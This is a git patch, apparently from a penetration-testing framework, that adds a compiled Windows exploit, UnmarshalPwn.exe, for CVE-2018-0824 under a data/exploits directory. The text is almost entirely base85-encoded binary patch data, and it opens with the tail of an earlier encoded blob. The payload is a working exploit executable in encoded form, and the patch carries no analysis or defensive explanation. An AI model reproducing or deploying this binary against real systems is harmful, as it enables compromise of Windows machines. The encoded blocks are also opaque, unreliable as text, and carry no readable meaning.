z=2-I4G7rj0iI&><%ee%+8nGrYRq*-*>gk}+Jt}X%J-YVq*)zi)#YakhJstRtQTBYi ze53U|qxAgc8?86GeC@m*qxIOR`i@l(9WEN}7qUa~n`mfM+tNAmV$v9GN?uR>9=U!D zIoUA>$my8cf)e?X{DynJEC~1;DDmsz9vq+{vw;%wIr$g&))9JHYnHA_sJYvubPuGr zJNwOxW*okfG}0Dsz`IZ_8-^!A`mM$DigHUaR~jMPP;A;dLa@=e4b#Gc{Eemgwh<>b z*sn<0z~@XOPRzF$^Q1C$;V%*S@dMC`wCqg0G=%=M`8Jc?mS~igOsXKztq{1ZNLn_h zUoSAtuwGGdBHq4ify{vpDPL=6zMBO`_elA88+~-ZlXHQ2k>Py2hSrvwC~aNAeN4_% ztIglE8J}QqOzkp1Eh{@QCv7oZHZ)2m3G+wjttCC>NZCy!Q;m>iNSCTd$w;UfB};=W z2{JWME=vZ9m~Nz=lt=mqnO@3651HgksUG?qy4EmKFNYM(BW033%LrMvWY0cQCh0jK zV?Rat@FHJZF6OAX?8$WhAph z7SK;pNS32iuuYga@@uak8B^hY6AGD}r8H-7P@YovvNFvy1=B_2IFG;oSF2#%nCxK? zNd97a1v9|Rd~2ySKT#`fO*KH4M1542NoAz0{!tRbf>>C}covo%Vi7_VEF@W>m1QBa zOgbOV!mJ^dS*TyIF^siiGwTN+Cww=HA=C3@m@@?E#3hBWxD*vrRt8zd85DX|w!pei z3V2JOd=Gd4V~`S!MM}>BXQBR-t_PCzEI+;jexR{`FHL@tc$xK)Gn8xwJ_^PeLs?9U zl7(a`yt-7(OOOxUXFS~YM;sGl<-ALQlLnh#dNn=p2m~7czOqR+b%O*e; zjy!PA3R#fAf|lUgsbOrYEtE|)D%sTR@oZ{J2%DNb*&BCZ2vZv)p^y3>2(nP!_n}PG zNu~Q=j$G#nK;qQ=_yugZqw^o|jd!PkRPWzlV;$*r@eOvL14%D#K^W5*V_1B4G*hQU zu?dHjz7VgRp9T5d!t>K|`>*m1bXgkt`g?(t;-bc}P+>AtXc;5_rE~wuXCcG&l%M~Y z%0lHL^x(4*x;3NwNDeR)x@I7ykXf?MRX|E+pj7TK1q-VT(fjif@Pp3NvZh!j8)CIW zR4|Lmn`ntJOwfm;Jd`M(&`BX|654qZ+Idn|xTOo57pV+aB{FvHY{V1fOK1h{4mcJ< zQNBFbz>jDvtx{jqO6_+iY*ITWz^|}Hc`Ue?v6n$l!xkZ4qs0_@AdL|##t42$J0c~N zMI?vd8|h#coANS?6*^c5=|m}6R5l3XDk^HCcY-C{KsMu&LNA|cRI$k^lUUSc5tX6d z@fOnWS}nKzCXD0*AkrmV3>2igjz?Wl=j3pUFgc7(&Yl1p;cRkpluzZI=qCGd3FBC# z@S;@4Ls^(p2IJZpVQfZ9G@D_a>Qj3sdt%&CmPmt2FWZ~|o8fGdHQW-aMl3rVqxIK) z5Yc1GWsJRux)TcH$FcEuj?+`02#pX}#FBGay4UDfHuNDAsz1r?Zz=B$uCP}zsU7Q-4Pq&5gX!@1L_@z zxMZ7z*ff#FWk(o2EHY?T_?Tz&K%k={M z|2gjJREi6hqD?@A!^dOz+26J|LC?c=PZG`!XR}ih*=+m}?g%fVUkX#g*p%!THU;ry z%7JJf-WB4GuuL!rv%=Y|l$mT6ejNC`YsfEtqWgsneLGaaLX(5hdvMMlFF7g{L2Mk_ zTVW6^(sk1PM#;jma6h8!4k+}(^a*UbEu2k9Jf4ntJRReHdUBj^iZ|9R^<|8;Nf>L= z_>jh482VEvi%RBWPaTFB9KqBWH)`~Gbykco%8ULeGOORolmf{Ls=cViL1N@V0h>0oiTS6F1u!XV&^p6Dej|B9O zgk(IXCcol*B##9Z7%K$r6|Adk6Fj5&-u_=v__+$A(dBhgnePBHER$0(Hp zLz>5(0Kck2n94Shso)1y~;O2Bi0w1wZ~BjlLh9 zC5<=Bcmu^wlxcw+L!oU1JU=Z*!fyuBx zxpI;|bW~ZcdYrMRKn|3p8#tElzIhDyDV*EnFYkDPjmKDvj6tm6^9rh`zkatrg}Dmo z3BP`nf<;-w^+LG7!t=(?WBN0UT?q2$F;+P~#b))tg8Vwty$R*;=lfbMV{d|Jyhup# z0x>rZ@ixvnd{5BJ_X@h-Ok|VK$ql$n9-}k{QBJupA3|S#1AY0m5q;T9_YsQG#%PSG zNEUS%^`m=sa)?&$0~65)BG3mgFRG*%kGPJq#3Ikw1CjC=uEZFov20c7$Et7W%P0fL zU*EBG?#20M{(;W>I4`{N_w8grXMKPjd3>O}#!3D%d*krs=|lleZ+esVmbP*6w9rM`%-*{f8e)R_${_F(mQ(Wgm@U64tl}gx8iYM zu}#6a4aiG~VzFNIvw)cC?<3d$fw6Z$@A|KwpkNcM!DISAq>HfIeu|IR0aY>l-rc7m1dsRMYdcxdFX-rcLv5?QCxd7$>sAoLt8J~5|H*vE= z5esf+(LxqG7Y*b%=un_PTtIOpissno*{1juDb0({#V3Cmk9Onp+UIyV6+XvP65{By z2mEi9=RR?lU~X>gN4fhDhkYzuFXw5&KC7|%-8IJ<>-_9opOWT*T7Q2)nD(WYkxCYc zaU5xlz_R*KH)fy)(uK>}c0pk4Fweb$>mCFDw}9iZ{L_n10!l;^|JaSY0OKEJjYU~w zd&Bj^eL-rkNW^Ltn{+tbf;z1oQKvQM*C~hEkK%ZiLK`;^b1LC$7U2u`hI-E3Imx~o zZ71C~g$xF-7-r!!x6-zpRbamVGAJFjn>8nl&FN2LGY&0d(b+4QG9?|GK1b=$bw`%6 zk8zC&G2Beop$vh?LUag=#=SHe_tNO(Nfv32WD8+ajKP>I1)+V$u_?Y-uk0&%PU3Hi z`)3R6=b-iezNy4_8Hm4Q`SmU6CC(98iND>Zg`xc?uxXgTOiQL5qCJuBNyGP|zs(ic z%y|O4*KeEVZYfjPlmjEjk3448-#cdG=7q9p*%gXuDGw^93HK@F2q2FU9X@l%T^i12 zWJ(GSHqA0z(;1Cz#aqn zeKeNeBbEqk70B;*=`-UJ>R*^^V2%=oIZ80*C<67B${=mr9LyKZxCaU|nDlwh5UdU2 zF~x%tO8qwqpBKZ&v2b%R8~-a_Zo2m>aDJMSO~V{-8v4{U^r>mdG5QgoZv*Cbx8QT) ztsp1bn2?e*pN_(30O=kua_m2~MqnNy=o3o%{%aDXL+MX^lFU2t-Ph%&??Wj0uhW3nMv`P?vT&Ja)b-x+^7W)` zz&y&FM=|f5>=ww{HgP<}@fgQ1IWq3Y7>v=m|!Ep}9Fpj6W-U*IJIR1*`evXfGypN-uBYn>vm?9KdH&sx) zdAYTu2y3p`9+p;;om;wPm8odC)nsD#pF3V$SXh#eZ~BCltOd4h zj8#Cswzwcbv!u{;S@L{iVIjLAbJ^mx+5CXLGcL0vKetfwMYFKH#9EYVTV*OO#X>f0 zfa{dca?kuWD9cuumTR$l6pei7R}E~AtmlvtNzH66;Tx0*_E8OsQgR`Kbvgp2BlR!b`> zLp7`{{(S2hMy3gnW}C4l&j=wqMbb6f@N}~%8*A1Umr}SJ=;!_RVBu3M(Jg z(UH`j+XRBlf;?+3I^?tDP3jtpjYf2cQjA#i?pz~3zswGgAC=q1C^rFSup#SFJrntf z-FB{p==gf9XT%kG!ZLfoaF5(}PDeH&Sv@8o=QJ#-M8jql6q^>aKaP^DXV;HILs+C@ zvy~DrS9LX6lzP}Ui-|psab0A|wbBw%1U2N}HZC)5Rjy_Dc$=`C;#Ofvsfq2B_~ixG zQpti;mI_IBJ%%nBUC-`C?}Xn9jA_)g81?K$D%;{T%v~R+yl+^xiuhkkCDv1CWeZ8Z ztoXJ9Ye{ht29}(8DN3_n^7vS%rc!STII%9*T9BJZCAfjktg#LI{1{o6O=hFcu=)#< z@Ig&pVys43URYLYrYbBc+qB7KMQeU3`?Rx|4v|J&EZW)zWXk@`oHEq zh94cKIWo;!iRg~LK!ZO4$(by#_YC8*Af|8xoF1NI2g*kCf@ZYjhdEZj?)T5Q|Mff+ ziLx*LbqnXNr*)%BkpHtt#a;4xOnHca%c+_w@hW=SP>_p&q-us=H-> zRNNz@s!Ybw*Z-qqN2F|D8zW=dKe}Mld1@a@ezAjvg;AfUT@!v8VeL44%)4{jowK;G z{=a0Vs!qmT&v?%gr@O-;p$q!2*Bq%R#7_o`1+Pi23q z?yi=WF^|Y&*!~?=(iN+N5tEPo_?U)mJa)^m{LDoEvZYHy8YWIQy}Bge;RY{@!k(`5!LWzsLOlk@q%a1Wpcr(;UQQyP8GE!!u{{eRzVYd#gX^Kj&& z4`MxP*&P>;{FVgY-ymL7a!Y^N^52fqFV7$8uleHQbv8`THx}R%flkN9I-i$o+?Y#W zs_05>M(9u)OV8y0D&QaJN%pMP+-)1Nka%OEsd%%^?7w6zyQDwb_E>t$bGMk}eOJ7Y zW0!Mn2LBp{w8pTrHiK{P`rh+=^WXQJU$-&8q-djwHh!He2l?#(heYeN?*h>}+zQ~k zpgrI{z$APhz85@wS6&1nIekao%K3Jne;q2}ay$oVfezt~AUAlzH#krDKIjPKUf^Cl zt2zN5d(zlKtouyw#a=OB8;J77UO5&s1@AP09Q)L695z*h|MsKx7B|>DY@P(!riO_6HE@U|$^@C>1+oUV1ijeJaAkBW2%1G0d57wgRcNS3(|r=2pj@Ydl6o6fy~bZe#ZF|zp@gz7jQy~EGIk) z(n6;Tc}eU75of76}TBhI(vX0fXF62Q~&I0tYw7G3E-`ZP+#yi;A0@te-e1}HHf08 z;b-83AiA~!*v@$$kX?)Z3>_8FDWX4vC!}8kC4Ksp&ks5O5wJlg`^N=51Cr_poUvHu zHNX{|PY2!#qVhO^uYkxuhkzF^k>zuN7cE7s8N^;r;3-fxc*2*KG4>?*gTU!4(T?CX z!0R*7U%~5v53jZ?b9<8Ef`BjgnXTmm`)-U4g~`M|q@<2N7% zf!6>p1F<3WF<_Yi{TsX;_yvf{-~-OfWo*$I#0Q`vA9kP<1Z)D4Pg;O$jWWLvILCw- z1^pyoC+7(_Y?9@K-*BFOg!_I_JoNVfL(J%J;FZ7{5Y?*|_XStY8%EN>>Ibk4v5M|`1lUSc0lJz;PyN4j2t>UfV!QseZrHVeUNtpTX!KgLcbk& z`&}}>1Gs*-Y%>S=B}no=@VTGL^5=oe@0QD!4lK9_V-j`>f$PiRAK1?Uego=)oZZXV z04Nds5b&=1;Ail=fxRFV_pVCJi&Rw30GZjf^dYP7v_LHjHQR9^k5W z_!hh#*!(Q+q2Qkf<{gmdZ${vqpdFC!2L2XAHe;TH4v5;w2;2=KIbkj53FDua=M{vv zfT&)Dz@`_V2b(Rx4?uKn7cllk#DB=uz}rBiZwFR`s0_8hcRB9?W_I8=5g^Y7{^2FW zaPVEgQy|hOyyRuXJ@9jZ1)vRQQ3l|%pcwGa1EXKT{#EcXz)wM5=$`-v9hA#Mcm~uB z`B`B8tGw>OIj_ll67W3`mDvNl=a;g)9QZnj>UaovlJnibIJc}H4_w80J@AD$ppWu& z0DpE!uH#ehk&t1W&3L2Hjp%z1Lk}n+aYv;s0@T(fat#I177+E zZXft3&{CAS8+d0I$_;)u(D)&)1yA@o$PE4v@Y-W?UOM3YAgb41;1SLf#{W^4rvghj zzX!PUBe^_#fp2_*a*|D8o)=}Kyns`V<8}>R13dN_?0kzk3Gl`f@)+3wJO!c{Nci4K zlo>i6U}ZP%kKp$LGe1XP1y9%lqBbS$;aKK`+=(OWc_&HlOXC>gk2!&ON7%Id2?`0{0)H0rcYvQJ!9S3n0G_-E zcENW8g-c{U2x!Av-gd|de}px?N#G4YS{IuGK5%_3t($%CGPEb;gkOME3I+24$EV2U zR03b%d!2$Hb`6N?q65ARqPlzp{6#AK06QJPE)ex|!r52Jd=k*kdEG+z zT!anip8|fULw^VV5wL8r?9X!Gmmsq51LiKld;vN}U~ro3A0_ZtAky&yr!7U>K_?#g zA&APHvRq)duRxnX&e8=|45G4GfJZ?ckaqzqGvs{t0$*8)IzsLR>aT-s@Prl+-TMeb zGST-SR|0PWQUBZkw1db$gjcLWp9il88bCwPcLIL{qR-czz@vKHH?UT=3mCGR`yV(P zMCD8Z)`DW7L-+=WRmo{;vz5Kl<^SBNL1eImpY(jE!o326@m z@r1NqpLjxA7fw7Ots^I%kk(`qPxub!Y27vbo&?GNll~bG$iG{m##C&iHsT`$+A-vz zK?nmlN56lNh>$Qk{q2=sE)wlUg&O>hT`AV7U6XL>d~JfpL`&MRlIog-wb{$(r6y=- zHK#GRu%y^@O~N))X@YodMA)L-(o$1VUg0(k3>24MlTcYq1n!2_WVD->4U@2rb!4>-KDD0Mx{2 zDOkJ}Yuo%b%r={4;erL+(esBLJs*x8LhN@YOx<*rzRHLm)twWb@ z^{heJplVPzXd03lv<;~Zx`y-yeM3%zp~2i>X|Ojq8p<0g8um3f8(aA?Q=O@E?2v& z!{v5$x;(Bfm)F(p^0|gwtWnvhYE(CB8j~8ejj4^g#`H#gV@{)?(cEZhv^P2$%Nr{i z_cb~jU5)LH9gXhB&PGoo{BOZL4t~*B8>%hU_G(9Ud38ngzG`Q+tGc7wUENvjsqU&K zulcH#@S5y1T}^t8s!m-ednUC`$Gu~yGuK(_>~)U1^16z;eRa+{S6zEuN1eN_v(8i3 zRfks~)cNX$>R7$9URAHI*VHG~7q25w&uXog!*H_fwxhQDP}2_7vI{jFs#BtFNvKyk>SRWZ%268^ zdQB&KOgDOq5Xn7Y}y%R0o zjn-D8rIXOg>1bgyTDKf6>q4t`Hg+|3Hx4x_o77E7O{q=kO*u{GCVNwP)4nEGQ%6&0 zQ&&@W(@>MLS>2q}oZ6h;oYQP>wl|lXv_5KoN6=rcRBjD3q8BD+P9yzsoFGc+BRLA zzRl2PX>+tyv^m?_+uUuQHgB7+4Ihr^KgyzVYMff9&Z&1AoEE3US>bd#+nsKw$LV$Y zoUBS!rK!?Z>8kWqhAK;yqpG6HS=C z`4Ej%h(_8P9b%E8#)4Q>fjHD&<3=3v*7y*GRJEE~ZLO|WUu&qf)H-S_YMr(1weDI^ zt+&=!%j#4ZiCT<8eVqa0&w;V$#JF=~%y}{17{;0g<4lJ!X21w@V01YV#oUNsUPLd3 z$fZHl(jj6Q5Um`DR8B-GHzJf5(TO24X%Llkh)4!RBL^ap6H&;G2;@cdVTe2$L>(O> zjselefk@*-lyM`%cpH61ZUQqkgUX>W12cv`$Iz82Q1 zYSpx&oxJ!w2%tFquScRTIUcJNYy)g*oeuP+ZuFxh^dUQsjT8|rW5(ps5!neZbT_I{ ScQb0;jvAxB|4IMr9{4}~Vw5@n From cd3b1396422b6523bfc73ee0d0e10e1c73385c35 Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Fri, 21 Sep 2018 17:24:50 +0530 Subject: [PATCH 12/20] Adding UnmarshalPwn.exe Compatible with Visual Studio 2013. --- data/exploits/CVE-2018-0824/UnmarshalPwn.exe | Bin 0 -> 125952 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/exploits/CVE-2018-0824/UnmarshalPwn.exe diff --git a/data/exploits/CVE-2018-0824/UnmarshalPwn.exe b/data/exploits/CVE-2018-0824/UnmarshalPwn.exe new file mode 100644 index 0000000000000000000000000000000000000000..5346d25e75ccb639f66b13e8d1acddad5a7a78f3 GIT binary patch literal 125952 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 